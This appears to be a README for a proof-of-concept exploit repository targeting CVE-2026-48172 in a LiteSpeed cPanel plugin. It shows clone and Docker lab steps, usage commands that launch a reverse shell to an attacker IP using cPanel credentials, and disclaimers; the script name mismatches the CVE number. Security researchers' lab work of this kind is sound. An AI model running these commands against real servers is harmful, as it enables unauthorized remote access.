📚 Educational Security Research Repository

A repository for learning, testing, and researching cybersecurity concepts in controlled environments.

⚡ Simple Usage

Use this project only in safe and authorized environments such as:

• Local virtual machines
• Docker containers
• Isolated lab setups
• Authorized penetration testing environments

Example setup:

git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172

cd lab
docker compose up --build -d
cd ..

Example usage:

# For localhost (uses HTTP automatically)
python3 cve-2026-48712.py -u test -p test -H localhost:2083 -i 192.168.1.100

# For remote server (uses HTTPS)
python3 cve-2026-48712.py -u test -p test -H example.com:2083 -i 192.168.1.100

usage: cve-2026-48712.py [-h] -u USER -p PASSWORD [-H HOST] -i ATTACKER_IP [-P ATTACKER_PORT]

CVE-2026-48172 PoC - LiteSpeed cPanel Redis TLS Reverse Shell

options:
  -h, --help            show this help message and exit
  -u, --user USER       cPanel username
  -p, --password PASSWORD
                        cPanel password
  -H, --host HOST       cPanel host with protocol and port (default: http://localhost:2083)
  -i, --attacker-ip ATTACKER_IP
                        Your IP for reverse shell
  -P, --attacker-port ATTACKER_PORT
                        Reverse shell port (default: 8443)

Replace the commands above with your actual project setup steps.

Credit or Reference

• https://nvd.nist.gov/vuln/detail/CVE-2026-48172
• https://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html
• https://www.cve.org/CVERecord?id=CVE-2026-48172

⚠️ Security & Legal Disclaimer

Purpose

This repository is for educational and authorized security research only.

It is designed to help users learn about:

• Security vulnerabilities
• Sandbox and isolation concepts
• Secure coding and defensive practices

Authorized Use Only

Use this repository only in environments where you have permission, such as:

• Personal labs or virtual machines
• Docker or isolated environments
• Authorized penetration testing
• Cybersecurity training or academic research

Unauthorized or illegal use is strictly prohibited.

No Liability

The author and contributors are not responsible for any damage, misuse, legal issues, or losses caused by this project.

By using this repository, you agree that:

• You are responsible for your own actions
• You will use it legally and ethically
• The project is provided without warranty

Ethical Use

This project is intended for:

• Defensive security research
• Cybersecurity education
• Vulnerability awareness
• Secure system and software research

Please follow responsible disclosure practices and comply with all applicable laws.

Contact

For responsible disclosure or collaboration, contact the repository maintainer through GitHub.